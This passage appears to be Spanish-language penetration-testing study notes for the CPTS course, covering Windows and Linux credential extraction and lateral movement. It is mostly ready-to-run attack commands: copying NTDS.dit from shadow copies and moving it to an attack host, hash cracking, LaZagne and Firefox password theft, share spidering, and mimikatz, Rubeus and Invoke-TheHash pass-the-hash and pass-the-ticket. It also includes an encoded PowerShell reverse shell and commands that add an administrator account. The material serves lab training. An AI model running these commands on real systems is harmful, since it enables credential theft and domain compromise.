PS> cmd.exe /c copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit c:\NTDS\NTDS.dit
- Obtenemos el SYSTEM porque es necesario al igual que con el SAM para descifrarlo
reg.exe save hklm\system C:\NOMBRE.save
- Lo movemos al host de ataque mediante un smbshare
imapcket-smbshare -smb2support SMBShare ./ (-username USER -password PASS)
PS> net use \\IP\SMBShare /user:USER PASS
PS> cmd.exe move C:\NTDS\NTDS.dit \\IP\SMBShare
PS> cmd.exe move C:\NTDS\NOMBRE.save \\IP\SMBShare
- Por ultimo hacemos la extraccion
impacket-secretdump -ntds NTDS.dit -system NOMBRE.save LOCAL
![[Pasted image 20260611205043.png]]
Metodo mas rapido con NetExec
NetExec nos va a permitir hacer todos los pasos de arriba con un solo comando (nos permite usar VSS para capturar y volcar el contenido de NTDS)
netexec smb IP_KDC -u USER -p PASS -M ntdsutil
![[Pasted image 20260611205256.png]]
Descifrado
sudo hashcat -a 0 -m 1000 'HASH' /RUTA/WORDLIST
Pass The Hash PtH
evil-winrm -i IP -u USER -H HASH
Ejemplo practico
- Creamos una lista con los nombres de usuarios y usamos Username Anarchy para crear una lista con nomenglaturas diferentes
![[Pasted image 20260611210151.png]]![[Pasted image 20260611210323.png]]![[Pasted image 20260611210513.png]]
- Lo copiamos en un archivo y hacemos una enumeracion de usaurios
![[Pasted image 20260611210610.png]]
-
Antes de enumerar usuarios debemos conocer el nombre del dominio. Para eso miramos con crackmapexec
![[Pasted image 20260611212157.png]]
-
Enumeramos usuarios del dominio
![[Pasted image 20260611212240.png]]
- Nos piden las credenciales del usuario jmarston, realizamos fuerza bruta
![[Pasted image 20260611212629.png]]![[Pasted image 20260611212655.png]]
Otra opcion era hydra por ejemplo pero como usa un protocolo SMBv1 desactualizado se deberia hacer con el modulo de MSF smb_login
- Nos unimos mediante WinRM y comprobamos los privilegios y grupos a los que pertenecemos
![[Pasted image 20260611213121.png]]![[Pasted image 20260611213137.png]]
- Una vez hemos comprobado que tenemos privs suficientes creamos una copia de C: y copiamos el NTDS.dit y el SYSTEM
![[Pasted image 20260611213434.png]]![[Pasted image 20260611213907.png]]
- Lo pasamos a nuestro host de ataque
![[Pasted image 20260611214027.png]]
![[Pasted image 20260611214402.png]]
- Lo dumpeamos en local y crackeamos la pass de jstapleton
![[Pasted image 20260611214911.png]]![[Pasted image 20260611215002.png]]
CPTS
2. Explotacion Y Movimiento Lateral / 1. Password Attacks / 3. Extraccion De Credenciales Windows
6. Credential Hunting
Terminos claves a buscar:
- Passwords
- Passphrases
- Keys
- Username
- User account
- Creds
- Users
- Passkeys
- configuration
- dbcredential
- dbpassword
- pwd
- Login
- Credentials
Herramientas
Windows search
Busca archivos en el destino usando algunas palabras clave
![[Pasted image 20260611215842.png]]
LaZagne
LaZagne: para descubrir credenciales que los navegadores web u otras aplicaciones pueden almacenar de forma insegura
Deberiamos tener una instancia de LaZagne para pasarla rapidamente al host destino: https://github.com/AlessandroZ/LaZagne/releases/tag/v2.4.7
Modulos:
![[Pasted image 20260611220014.png]]
Uso de LaZagne:
start LaZagne.exe all
all: ejecutara todos los modulos
![[Pasted image 20260611220311.png]]
findstr
Podemos usarla para buscar patrones en muchos tipos de archivos usando palabras clave:
findstr /SIM /C:"password" *.txt *.ini *.cfg *.config *.xml *.git *.ps1 *.yml
Otros lugares
Aquí hay algunos otros lugares que debemos tener en cuenta al buscar credenciales:
- Contraseñas en la política de grupo en el recurso compartido SYSVOL
- Contraseñas en scripts en el recurso compartido SYSVOL
- Contraseña en scripts en recursos compartidos de TI
- Contraseñas en
web.config archivos en máquinas de desarrollo y recursos compartidos de TI
- Contraseña en
unattend.xml
- Contraseñas en los campos de descripción del usuario o de la computadora de AD
- Bases de datos de KeePass (si podemos adivinar o descifrar la contraseña maestra)
- Se encuentra en sistemas de usuario y recursos compartidos
- Archivos con nombres como , , que se encuentran en sistemas de usuario, recursos compartidos y Sharepoint
pass.txt``passwords.docx``passwords.xlsx
Ejemplos practicos
![[Pasted image 20260611220714.png]]
- Creds para conectarse via ssh: en el buscador de widnows poniendo pass sale un documento que al abrirlo encontramos las credenciales
![[Pasted image 20260611220820.png]]
![[Pasted image 20260611220836.png]]
- Codigo de acceso gitlab: mismo metodo de buscador de Windows
![[Pasted image 20260611220941.png]]![[Pasted image 20260611220950.png]]
- Credenciales WinSCP: no encontramos nada por buscador de Windows, vamos a probar pasando LaZagne y ahi encontramos las credenciales:
![[Pasted image 20260611221114.png]]![[Pasted image 20260611221308.png]]![[Pasted image 20260611221333.png]]![[Pasted image 20260611221407.png]]
- : no encontramos nada con LaZagne ni buscador de Windows por lo que procedemos a buscar poco a poco con el comando de findstr y usando palabras clave
![[Pasted image 20260611221747.png]]
- Contraseña predeterminada de cada cuenta de usuario de dominio Inlanefreight recién creada: mirando el sistema de archivo pudimos ver una carpeta en C:\ llamada Automatizaciones y scripts que nos puede ser util. Ahi estaba
![[Pasted image 20260611223557.png]]
- Credenciales Edge-Router: tambien dentro de la carpeta en C:\ llamada Automatizaciones y scripts habia una carpeta llamada AnsibleScripts y dentro se encontraba el archivo
![[Pasted image 20260611223430.png]]
CPTS
2. Explotacion Y Movimiento Lateral / 1. Password Attacks / 4. Extraccion De Credenciales Linux
1. Proceso De Autenticacion Linux
Soporta varios metodos de autenticacion pero uno de los mas usados es PAM (pluggable Authentiation Modulos). Los modulos responsables son pam_unix.so o pam_unix2.so que suelen estar en /usr/lib/x86_64-linux-gnu/security/
Estos dos modulos gestionan la informacion del usuario, autenticacion, sesiones y cambios de contraseñas. Ejemplo: cuando se cambia de contraseña usando passwd se invoca PAM
Los archivos principales sobre los que lee y escribe PAM son:
/etc/passwd
contiene informacion sobre cada usuario del sistema y es legible por todos. Cada entrada tiene 7 campos:
![[Pasted image 20260611230233.png]]![[Pasted image 20260611230239.png]]
El campo mas importante es Password que puede tener diferentes tipos de entradas:
- En sistemas muy antiguos puede estar el hash
- En sistemas modernos los hashes estan en /etc/shadow y encontraremos en este campo una x
Si se puede escribir /etc/passwd podemos eliminar la entrada del campo passwd para eliminar la contraseña de ese usuario de la siguiente manera:
![[Pasted image 20260611230441.png]]
![[Pasted image 20260611230459.png]]
/etc/shadow
Contiene toda la informacion de las contraseñas. Tiene 9 campos:
![[Pasted image 20260611230605.png]]![[Pasted image 20260611230610.png]]
Si el campo Password tiene entrada “! o *” significa que no puede inciar sesion con contraseña Unix pero si por otros metodos como Kerberos o con Keys
Si el campo Password esta vacio no hace falta contraseña para iniciar sesion y puede que ciertos programas nieguen su acceso
Formato campo Password:
![[Pasted image 20260611230908.png]]
Opasswd
PAM puede evitar que los usuarios usen contraseñas antiguas almacenandolas en /etc/security/opasswd (se requieren privilegios para leerlo)
![[Pasted image 20260611231039.png]]
Varias entradas separadas por ‘,’. Hay que poner atencion en el tipo de hash porque pueden ser mas faciles de descifrar que el de /etc/shadow y se pueden ver patrones
Descifrando credenciales Linux
Podemos combinar /etc/shadow y /etc/shadow para combinar ambos archivos y descifrarlos a la vez
sudo cp /etc/shadow /tmp/shadow.bak
sudo cp /etc/passwd /tmp/passwd.bak
unshadow /tmp/shadow.bak /tmp/passwd.bak > /tmp/unshadowed.bak
hashcat -a 0 -m 1800 /tmp/unshadowed.bak /RUTA/WORDLSIT -o /tmp/unshadowed.cracked
john --single /tmp/unshadowed.bak
Ejemplo practico
-
Descargamos el zip y unimos el passwd y shadow
![[Pasted image 20260611232012.png]]
-
Nos piden descifrar el hash en modo single de martin y vemos que su hash es $6$ (sha-512)
![[Pasted image 20260611232109.png]]
![[Pasted image 20260611232310.png]]
- Nos piden descifrar el hash de sarah tambien es sha-512
![[Pasted image 20260611232527.png]]![[Pasted image 20260611232730.png]]![[Pasted image 20260611232743.png]]
CPTS
2. Explotacion Y Movimiento Lateral / 1. Password Attacks / 4. Extraccion De Credenciales Linux
2. Credential Hunting En Linux
Cosas que mirar:
- Archivos: de configuracion, bases de datos, notas, scripts, codigo, cronjobs y claves SSH
- History command: para ver registros e historial de comandos
- Memoria: cache y procesamiento en memoria
- Key-rings: credenciales almacenadas por el navegador
Archivos
En linux todo es un archivo. Archivos a mirar:
- Archivos de configuración
- Bases de datos
- Notas
- Guiones
- Trabajos cron
- Claves SSH
Archivos de configuracion
- Busqueda de archivos con terminacion .conf, .config o .cnf:
for l in $(echo ".conf .config .cnf");do echo -e "\nFile extension: " $l; find / -name *$l 2>/dev/null | grep -v "lib\|fonts\|share\|core" ;done
![[Pasted image 20260612095101.png]]
2. Busqueda dentro de estos archivos palabras como user, pass o password. En esta caso se hace a las que tengan externasion .cnf:
for i in $(find / -name *.cnf 2>/dev/null | grep -v "doc\|lib");do echo -e "\nFile: " $i; grep "user\|password\|pass" $i 2>/dev/null | grep -v "\#";done
Archivos de base de datos
- Extensiones .sql, .db…
for l in $(echo ".sql .db .*db .db*");do echo -e "\nDB File extension: " $l; find / -name *$l 2>/dev/null | grep -v "doc\|lib\|headers\|share\|man";done
![[Pasted image 20260612095050.png]]
- Se puede aplicar la segunda de archivos para buscar dentro palabras clave
for i in $(find / -name *.sql 2>/dev/null | grep -v "doc\|lib");do echo -e "\nFile: " $i; grep "user\|password\|pass" $i 2>/dev/null | grep -v "\#";done
Buscando notas
find /home/* -type f -name "*.txt" -o ! -name "*.*"
![[Pasted image 20260612095036.png]]
En realidad no hace falta que tengan extension .txt pero es la mas tipica
Buscando scripts
- Extensiones .py, .pyc, .pl, .go…
for l in $(echo ".py .pyc .pl .go .jar .c .sh");do echo -e "\nFile extension: " $l; find / -name *$l 2>/dev/null | grep -v "doc\|lib\|headers\|share";done
![[Pasted image 20260612095014.png]]
2. Se puede aplicar la segunda de archivos para buscar dentro palabras clave
for i in $(find / -name *.py 2>/dev/null | grep -v "doc\|lib");do echo -e "\nFile: " $i; grep "user\|password\|pass" $i 2>/dev/null | grep -v "\#";done
Cronjobs
Son ejecucion de forma independiente y programada de comandos, programas y scripts. Estan en /etc/crontab o /etc/cron.daily, /etc/cron.hourly o /etc/cron.monthly
Los scritps y archivos usados por cron tambien pueden estar en /etc/cron.d
Algunas aplicaciones o scripts requieren tener credenciales para ejecutarse
- Buscamos cronjobs
cat /etc/crontab
ls -la /etc/cron.*/
![[Pasted image 20260612094445.png]]![[Pasted image 20260612094508.png]]
Archivos de historial
En el archivo .bash_history pero hay otros como .bashrc o .bash_profile
tail -n5 /home/*/.bash*
![[Pasted image 20260612095003.png]]
Enumeracion de archivos de registro
Son archivos en los que escriben servicios y el propio sistema. En ellos se ven errores del sistema, de servicios o seguimos lo que hace el sistema en segundo plano
4 tipos:
- Registros de aplicaciones
- Registros de eventos
- Registros de servicio
- Registros del sistema
Ubicaciones:
![[Pasted image 20260612095353.png]]
- Para encontrar contenido interesante
for i in $(ls /var/log/* 2>/dev/null);do GREP=$(grep "accepted\|session opened\|session closed\|failure\|failed\|ssh\|password changed\|new user\|delete user\|sudo\|COMMAND\=\|logs" $i 2>/dev/null); if [[ $GREP ]];then echo -e "\n#### Log file: " $i; grep "accepted\|session opened\|session closed\|failure\|failed\|ssh\|password changed\|new user\|delete user\|sudo\|COMMAND\=\|logs" $i 2>/dev/null;fi;done
![[Pasted image 20260612095449.png]]
Memoria y chache
Uso de minipenguin
Muchas aplicaciones y procesos necesitan credenciales para funcionar y las almacena en memoria u otros archivos
mimipenguin: facilita el proceso de busqueda de estas
sudo python3 mimipenguin.py
![[Pasted image 20260612100540.png]]
Uso de LaZagne
https://github.com/AlessandroZ/LaZagne.git
Es una herramienta mas poderosa que permite acceder a muchos recursos y extraer credenciales y hashes de las siguientes fuentes:
- Wifi
- Wpa_supplicant
- Libsecret
- Kwallet
- Chromium-based
- CLI
- Mozilla
- Thunderbird
- Git
- ENV variables
- Grub
- Fstab
- AWS
- Filezilla
- Gftp
- SSH
- Apache
- Shadow
- Docker
- Keepass
- Mimipy
- Sessions
- Keyrings: se usa para el almacenamiento y gestion de forma segura de contraseñas en distribuciones Linux (se alamcenan cifradas y protegidas con una master key)
sudo python2.7 laZagne.py all
sudo python2.7 laZagne.py MODULO
![[Pasted image 20260612100842.png]]
Credenciales del navegador
Las guardan de forma cifrada localmente para reutilizarlas
Estas se almacenan en un archivo llamado logins.json
ls -l .moziilla/firefox/ | grep default
cat .moziilla/firefox/1bplpd86.default-release/logins.json | jq .
![[Pasted image 20260612101135.png]]
Para descifrar las contraseñas de firefox la herramienta Firefox Decrypt es muy buena (depende de la version requerira Python 3.9 o Python 2):
python3.9 firefox_decrypt.py
![[Pasted image 20260612101311.png]]
LaZagne tambien puede devolver resultados usando la herramienta browsers:
python3 laZagne.py browsers
![[Pasted image 20260612101353.png]]
Ejemplo practico
- Nos conectamos
![[Pasted image 20260612101605.png]]
- Nos piden encontrar las credenciales de Will
- Buscamos en los archivos de configuracion
![[Pasted image 20260612102046.png]]
He realizado una busqueda dentro de los archivos con extension .cnf, .config y .conf en busca de palabras clave como pass, user… pero nada
![[Pasted image 20260612102334.png]]![[Pasted image 20260612102415.png]]
- Buscamos en los archivos de bases de datos con la misma estrategia pero nada
![[Pasted image 20260612102514.png]]![[Pasted image 20260612102635.png]]![[Pasted image 20260612102644.png]]
-
Buscamos en archivos de notas donde no vi nada pero si archivo de mozilla firefox asi que voy a saltar directamente a usar LaZagne a ver si esta dentro
![[Pasted image 20260612102747.png]]![[Pasted image 20260612102756.png]]
-
LaZagne para buscar en memoria pero sobretodo en firefox y ahi estaba
![[Pasted image 20260612103642.png]]![[Pasted image 20260612103651.png]]
![[Pasted image 20260612103930.png]]![[Pasted image 20260612103945.png]]
CPTS
2. Explotacion Y Movimiento Lateral / 1. Password Attacks / 5. Extraccion De Credenciales De La Red
1. Busqueda De Credenciales En El Trafico De Red
Actualmente casi todos los servicios usan TLS para cifrar el contenido en transito
Tabla de protocolos con sus contrapartes cifradas:
![[Pasted image 20260612104520.png]]
Wireshark
Filtros basico:
![[Pasted image 20260612104606.png]]
Ejemplo de filtro por HTTP:
![[Pasted image 20260612104625.png]]
Ademas podemos buscar dentro de los paquetes palabras clave como pass usando el filtro de pantalla con CTL+F o Edit>Find Packet
![[Pasted image 20260612104729.png]]
Pcredz
Pcredz: herramienta que se puede usar para extraer credenciales de trafico vivo o de capturas de paquetes. Permite la extraccion de la siguiente info:
- Números de tarjetas de crédito
- Credenciales POP
- Credenciales SMTP
- Credenciales IMAP
- Cadenas de la comunidad SNMP
- Credenciales FTP
- Credenciales de encabezados HTTP NTLM/Basic, así como formularios HTTP
- Hashes NTLMv1/v2 de varios tipos de tráfico, incluidos DCE-RPC, SMBv1/2, LDAP, MSSQL y HTTP
- Hashes Kerberos (AS-REQ Pre-Auth etype 23)
- Ejemplo contra un archivo de captura de paquetes
./Pcredz -f demo.pcapng -t -v
![[Pasted image 20260612105136.png]]
Ejemplo practico
Usando Pcredz encontramos varias cosas en el archivo de captura de trafico descargado:
En WireShark abrimos el archivo y vamos buscando
- Para buscar el archivo que se descargo por FTP filtramos por FTP y vemos todo lo que realizo. Ahi vemos que la transferencia fue de creds.txt
![[Pasted image 20260612111426.png]]
- Para la tarjeta de credito he supuesto que estaba en una pagina web comprando por lo que he filtrado por HTTP y al ver todo lo que ha hecho en la pagina web vemos el recursos al que accedio llamado /process_payment. En la URL encode que es lo que se pasa por parametros vemos ahi el numero
![[Pasted image 20260612111634.png]]
CPTS
2. Explotacion Y Movimiento Lateral / 1. Password Attacks / 5. Extraccion De Credenciales De La Red
2. Credential Hunting En Recursos Compartidos De Red
Patrones de credenciales comunes
- Busque palabras clave dentro de archivos como
passw ,user ,token ,key , ysecret .
- Busque archivos con extensiones comúnmente asociadas con credenciales almacenadas, como
.ini ,.cfg ,.env ,.xlsx ,.ps1 , y.bat .
- Busque archivos con nombres “interesantes” que incluyan términos como
config ,user ,passw ,cred , oinitial .
- Si está intentando localizar credenciales dentro del
INLANEFREIGHT.LOCAL dominio, puede resultar útil buscar archivos que contengan la cadenaINLANEFREIGHT\.
- Las palabras clave deben localizarse en función del objetivo; si estás atacando a una empresa alemana, es más probable que hagan referencia a a
"Benutzer" que a"User" .
- Presta atención a las acciones que estás mirando y sé estratégico. Si escaneas diez recursos compartidos con miles de archivos cada uno, te llevará una cantidad significativa de tiempo. Las acciones utilizadas por
IT employees podrían ser un objetivo más valioso que las utilizadas para fotografías de empresas.
Caza desde Windows
Estas herramientas generan mucha cantidad de informacion y hay que revisarla manualmente para evitar FPs
Snaffler
Snaffler: identifica los recursos compartidos de red accesibles y busca archivos interesantes
snaffler.exe -s
Parametros:
- -u: recupera una lista de usuarios AD y busca referencias en los archivos
- -i y -n: permiten especificar acciones que deben incluirse en la busqueda
![[Pasted image 20260612114226.png]]
PowerHuntShares
PowerHuntShares: no necesita ejecutarse en la maquina unida al dominio
![[Pasted image 20260612114530.png]]
Escaneo basico:
PS> Invoke-HuntSMBShares -Threads 100 -OutputDirectory c:\Users\Public
![[Pasted image 20260612114611.png]]
Caza en Windows
Manspider
MANSPIDER: nos permite escanear recursos compartidos SMB desde Linux
docker run --rm -v ./manspider:/root/.manspider blacklanternsecurity/manspider IP -c 'passw' -u 'USER' -p 'PASSWORD'
-c ‘pass’: busca archivos que contengan la cadena pass
Netexec
Tambien puede buscar recursos comparidos de red usando:
--spider
nxc smb IP -u USER -p 'PASSWORD' --spider IT --content --pattern "passw"
-pattern ‘pass’: busca archivos que contengan la cadena pass
Con esto descargamos todo y luego podemos buscar tranquilamente con grep:
netexec smb 10.129.234.173 -u mendres -p Inlanefreight2025! -M spider_plus -o DOWNLOAD_FLAG=True
grep -ri "pass" .
Ejemplo practico
Snaffler y PowerHuntShares estan en el sistema objetivo en C:\Users\Public
![[Pasted image 20260612121015.png]]
![[Pasted image 20260612121120.png]]
- Usamos netexec que es mas facil buscar luego
![[Pasted image 20260612123346.png]]
Tarda mucho, depues usamos grep:
![[Pasted image 20260612124235.png]]![[Pasted image 20260612124248.png]]
Despues usamos estas credenciales para volver a hacer lo mismo con netexec + grep
![[Pasted image 20260612124322.png]]
CPTS
2. Explotacion Y Movimiento Lateral / 1. Password Attacks / 6. Tecnicas De Movimiento Lateral Windows
1. Pass The Hash (pth)
Ataque donde se usa el hash de una contraseña en vez de un contraseña en texto claro para autenticarse
Los hashes se pueden obtener:
- Volvado del SAM
- Extraccion de los hashes del NTDS.dit
- Extraccion de hashes en memoria lsass.exe
Introduccion a Windows NTLM
NTLM es un conjunto de protocolos de seguridad que autentica identidades de los usuarios y al mismo tiempo protege la integridad de sus datos
Es un mecanismo de inicio de sesion que usa el protocolo de desafio respuesta para verificar la identidad que proporciona la contraseña
Con NTLM las credenciales no tienen salt por lo que si se consigue el hash se puede usar para autenticarnos sin conocer la credencial en texto plano
PtH Mimikatz
Mimikatz
Con el siguiente modulo podemos iniciar procesos en nombre de otro usuario:
sekurlsa::pth
Necesitamos:
- /user: nombre del usuario a imitar
- /rc4 o /NTLM: hash NTLM de la contraseña del usuario
- /domain: dominio al que pertence el usuario a suplantar (en caso de cuenta local usamos el nombre de la maquina)
- /run: programa a ejecutar
mimikatz.exe privilege::debug "sekurlsa::pth /user:USER /rc4:HASH /domain:DOMAIN /run:cmd.exe" exit
![[Pasted image 20260613110006.png]]
![[Pasted image 20260613110039.png]]
PtH con PS Invoke-TheHash
Invoke-TheHash: es una herramienta para realizar ataques PtH con WMI y SMB pasando el hash NTLM. Podemos ejecutar comandos en el Objetivo
No se necesitan privs desde nuestro lado pero el usuario suplantado debe tener privilegios en el sistema destino
Necesitamos:
- Target: nombre del host o direccion IP
- Username: nombre del usuario a usar
- Domain: dominio (no es necesario con cuentas locales o si se usa USERNAME@domain)
- Hash: NTLM o LM:NTLM
- Command: comando a ejecutar
Ejemplo con SMB:
cd C:\Tools\Invoke-TheHash
Import-Module .\Invoke-TheHash.ps1
Invoke-SMBExec -Target IP -Domain DOMAIN -Username USER -Hash NTLM/LM:NTLM -Command "net user mark Password123 /add && net localgroup administrators mark /add"
![[Pasted image 20260613110716.png]]
Podriamos haber generado un shell inverso ejecutando comandos en el objetivo
- Listener en la maquina cliente:
.\nc.exe -lvnp PUERTO
- Payload reverse shell (revshells.com)
![[Pasted image 20260613110852.png]]
- Uso de Invoke-TheHash
Import-Module .\Invoke-TheHash.psd1
Invoke-WMIExec -Target DC01 -Domain inlanefreight.htb -Username julio -Hash 64F12CDDAA88057E06A81B54E73B949B -Command "powershell -e JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqA..."
- Resultado
![[Pasted image 20260613110950.png]]
PtH Linux
PsExec Impacket
Impacket: Usaremos PsExec
impacket-psexec USER@IP -hashes HASH
![[Pasted image 20260613111452.png]]
Otras que podemos usar:
NetExec
NetExec: herramienta de postexplotacion que permite automatizar la evaluacion de seguridad de AD
Podemos usarlo para tratar de autenticarnos en todos los hosts de la red en busca de uno en el que podamos hacerlo de forma exitosa (puede bloquear cuentas de dominio dependiendo de las politicas)
netexec smb IP_red/mascara -u USER -d . -H HASH (--local-auth)
-d . : es el dominio local
-d DOMAIN: para especificar el dominio
--local-auth: indica que te quieres autenticar contra el SAM, se hace cuando se usan hash de usuarios o administradores locales
-x COMANDO: para ejecutar comandos
netexec smb IP -u USER -d . -H HASH -x COMANDO
Evil-WinRM
Evil-WinRM
evil-winrm -i IP -u USER -H HASH
-u USER@domain: si es una cuenta de dominio
![[Pasted image 20260613112523.png]]
RDP
Puede que este deshabilitado el Restricted Admin Mode (lo esta de forma predeterminada), y tiene que estar habilitado para poder hacer el PtH. Si esta deshabilitado saldra:
![[Pasted image 20260613112710.png]]
- Habilitar el Restricted Admin Mode:
reg add HKLM\System\CurrentControlSet\Control\Lsa /t REG_DWORD /v DisableRestrictedAdmin /d 0x0 /f
o de forma manual:
![[Pasted image 20260613112757.png]]
- Autenticacion con PtH:
xfreerdp3 /v:IP /u:USER /pth:HASH
![[Pasted image 20260613112845.png]]
Limitaciones UAC
LocalAccountTokenFilterPolicy = 0 (por defecto): solo la cuenta Administrador integrada (RID 500) puede realizar administración remota usando credenciales locales (Pass-the-Hash remoto).
LocalAccountTokenFilterPolicy = 1: cualquier usuario del grupo Administradores locales puede hacerlo.
- Si
FilterAdministratorToken = 1, incluso la cuenta RID 500 queda protegida por UAC y el Pass-the-Hash remoto puede fallar.
- Esto solo afecta a cuentas locales. Las cuentas de dominio con privilegios administrativos pueden seguir usando Pass-the-Hash normalmente.
Ejemplo practico
- Nos conectamos al destino usando PtH
![[Pasted image 20260613113525.png]]![[Pasted image 20260613113549.png]]
- Cambiamos clave de registro DisableRestrictedAdmin “HKLM\System\CurrentControlSet\Control\Lsa” para poder conectarnos via RDP
![[Pasted image 20260613113740.png]]![[Pasted image 20260613114139.png]]
- Usamos mimikatz para extraer los hashes y mas concretamente el de david
![[Pasted image 20260613114241.png]]![[Pasted image 20260613115224.png]]![[Pasted image 20260613115246.png]]
c39f2beb3d2ec06a62cb887fb391dee0
- Hacemos un pth y creamos una en contexto de david que nos permitira abrir el recurso compartido \\DC01\david\david.txt
![[Pasted image 20260613121530.png]]
![[Pasted image 20260613120001.png]]![[Pasted image 20260613121455.png]]
- Lo mismo de antes pero para la de \DC01\julio\julio.txt
![[Pasted image 20260613121634.png]]![[Pasted image 20260613121654.png]]![[Pasted image 20260613121841.png]]![[Pasted image 20260613121910.png]]
- Con las credenciales de julio vamos a ejecutar comandos en el DC01 desde MS01 para mandarnos un reverse shell. Es decir desde MS01 vamos a hacer ejecucion remota de comadnos con Invoke-TheHash y nos mandaremos una reverse shell a un listener que tendremos preparado
![[Pasted image 20260613122827.png]]![[Pasted image 20260613122834.png]]
Importamos el modulo necesario
![[Pasted image 20260613123114.png]]
Ejecutamos el comando en DC01 desde MS01 usando las creds de julio que se pueden autenticar en DC01
![[Pasted image 20260613123300.png]]
![[Pasted image 20260613123233.png]]
Leemos el archivo desde la reverse shell que ubtuvimos en el listener:
![[Pasted image 20260613123353.png]]
CPTS
2. Explotacion Y Movimiento Lateral / 1. Password Attacks / 6. Tecnicas De Movimiento Lateral Windows
2. Pass The Ticket (ptt) Windows
En este ataque usaremos los tickets Kerberos robados para movernos lateralmente
Actualizacion del protocolo Kerberos
Kerberos se basa en tickets para no dar la contraseña de cuenta
El KDC entrega solo el ticket del servicio solocitado para que no se usen otros no necesarios:
- TGT: primer boleto obtenido del DC que verifica tu identidad en el dominio y permite pedir tickets TGS (Time+Hash)
- TGS: los usuarios solicitan un ticket para un servicio especifico presentando el TGT al KDC y KDC devuelve el TGS de ese servicio en especifico que sirve para que el servicio verifique la identidad del usuario
Ataque PtT
Para esto necesitamos uno de los 2 tickets Kerberos dependiendo del tipo de ataque:
- TGT: solicitar tickets de servicio para acceder a cualquier recurso
- TGS: permite el acceso a un recurso en particular
Recoleccion de Tickets .kirbi
Necesitamos privs de admin local al menos
Con Mimikatz (.kirbi)
mimikatz.exe privilege::debug "sekrulsa::tickets /export" exit
Con esto obtendremos un archivo .kirbi
Los tickets que terminan en $ son de la cuenta maquina que necesita un ticket para interactuar con el AD. Los de usuario (INTERSANTES) son [email protected]
![[Pasted image 20260613130601.png]]
![[Pasted image 20260613130933.png]]
Con Rubeus (TGT base64)
Con privs de admin nos dara todos los tickets en formato hash
Los da en base64 y ponemos /nowrap para que sea mas facil copiarlos y pegarlos
- Obtencion del TGT en base64 (lo usaremos en base64 en el ataque)
Rubeus.exe dump /nowrap
![[Pasted image 20260613131600.png]]
Pass The Key o OverPass the Hash
Requiere de privs, Rubeus no
En el PtH se usaba el hash NTLM para evitar tocar Kerberos. En esta tecnica de Pass The Key se usa el hash+Key de un usuario unido al dominio para convertirlo en un TGT
Necesitamos:
- Extraemos las Keys de Kerberos con Mimikatz
mimikatz.exe privilege::debug "sekurlsa::ekeys" exit
![[Pasted image 20260613132050.png]]
aes256hmac es la key de kerberos y lo demas es el hash ntlm
**USO CON MIMIKATZ (obtencion cmd)
- Una vez con acceso a las Keys
AES256_HMAC and RC4_HMAC ya podemos hacer el Overpass. Con esto obtendremos un cmd en contexto del usuario que nos permitira acceder a los servicios en su nombre
mimikatz.exe privilege::debug "sekurlsa::pth /domain:DOMAIN /user:USER /ntlm:HASH"
HASH: AES256_HMAC and RC4_HMAC
![[Pasted image 20260613133236.png]]
**USO CON RUBEUS (obtencion .kirbi)
No requiere de privs
- Una vez con acceso a las Keys
AES256_HMAC and RC4_HMAC ya podemos hacer el Overpass y obtendremos un TGT en un .kirbi
Rubeus.exe asktgt /domain:DOMAIN /user:USER /aes256:KEYKERBEROS (o /rc4:HASH) /nowrap
Otra opcion es cargarlo directamente en en la sesion actual para poder usarlo directamente:
Rubeus.exe asktgt /domain:DOMAIN /user:USER /aes256:KEYKERBEROS (o /rc4:HASH) /ptt
![[Pasted image 20260613132632.png]]
PtT
Ahora que tenemos algunos tickets en .kirbi podemos empezar a movernos por el entorno
Con Rubeus
FORMA 1:
Lo haremos con el hash que encontramos en base64 en el OverPass. Con el comando que ejecutamos en el OverPass con /ptt ya tendriamos el ticket cargado en la sesion actual:
Rubeus.exe asktgt /domain:DOMAIN /user:USER /aes256:KEYKERBEROS (o /rc4:HASH) /ptt
![[Pasted image 20260613161602.png]]![[Pasted image 20260613161612.png]]
FORMA 2:
Usaremos el .kirbi que importamos desde Mimikatz:
Rubeus.exe ptt /ticket:[email protected]
Ya estariamos en contexto del usuario del que conseguimos el ticket:
![[Pasted image 20260613161751.png]]
FORMA 3:
Coger la salida base64 de Rubeus o el .kirbi de Mimikatz que obtuvimos previamente y convertirlo en un base64 para realizar un PtH:
[Convert]::ToBase64String([IO.File]::ReadAllBytes("[email protected]"))
Despues hacemos el PtT en Rubeus:
Rubeus.exe ptt /ticket:BASE64
![[Pasted image 20260613162113.png]]
Con Mimikatz
Usaremos el modulo kerberos::ptt y el .kirbi
mimikatz.exe privilege::debug "kerberos::ptt "C:\RUTA\ARCHIVO\[email protected]"" exit
o
mimkatz.exe
privilege::debug
"kerberos::ptt "C:\RUTA\ARCHIVO\[email protected]"
misc::cmd
exit
misc::cmd: abrira una nueva cmd con el contexto del ticket cargado en vez de hacerlo en la actual al salir de mimikat
![[Pasted image 20260613162604.png]]
PtT con PS Remoting
PowerShell Remoting: permite ejecutar scripts y comandos en una maquina remota (5985/TCP y 5986/TCP)
Debemos tener privs de administrador remoto o tener permisos remotos de PS. Si no tenemos pivs de administracion en un host remoto pero si tenemos privs de administracion remota, podremos hacerlo
Con Mimikatz
mimikatz.exe privilege::debug "kerberos::ptt "C:\RUTA\ARCHIVO\[email protected]"" exit
powershell
Enter-PSSession -ComputerName NOMBREMAQUINA
![[Pasted image 20260613163538.png]]
Con Rubeus
Esto abrira una nueva cmd desde la qu podremos solicitar un nuevo TGT:
Rubeus.exe createonly /program:"C:\Windows\System32\cmd.exe" show
![[Pasted image 20260613163818.png]]
Solicitamos TGT:
Rubeus.exe asktgt /user:USER /domain:DOMAIN /aes256:KEYKERBEROS (o /rc4:HASH) /ptt
![[Pasted image 20260613163805.png]]![[Pasted image 20260613163829.png]]
Ejemplo practico
-
Nos conectamos via RDP
![[Pasted image 20260613190347.png]]
-
Obtenemos todos los TGT (hay 3 de users)
![[Pasted image 20260613190538.png]]![[Pasted image 20260613190627.png]]
- Usamos el de John para hacer PtT y leer la carpeta compartida de \\DC01.inlanefreight.htb\john
![[Pasted image 20260613191138.png]]
- Mediante Powershell Remoting, conectarnos a DC01 y leer C:\john\john.txt
![[Pasted image 20260613191425.png]]
CPTS
2. Explotacion Y Movimiento Lateral / 1. Password Attacks / 6. Tecnicas De Movimiento Lateral Windows
3. Pass The Ticket (ptt) Linux
Una maquina Linux conectada a AD se comunica mediante Kerberos
Keberos en Linux
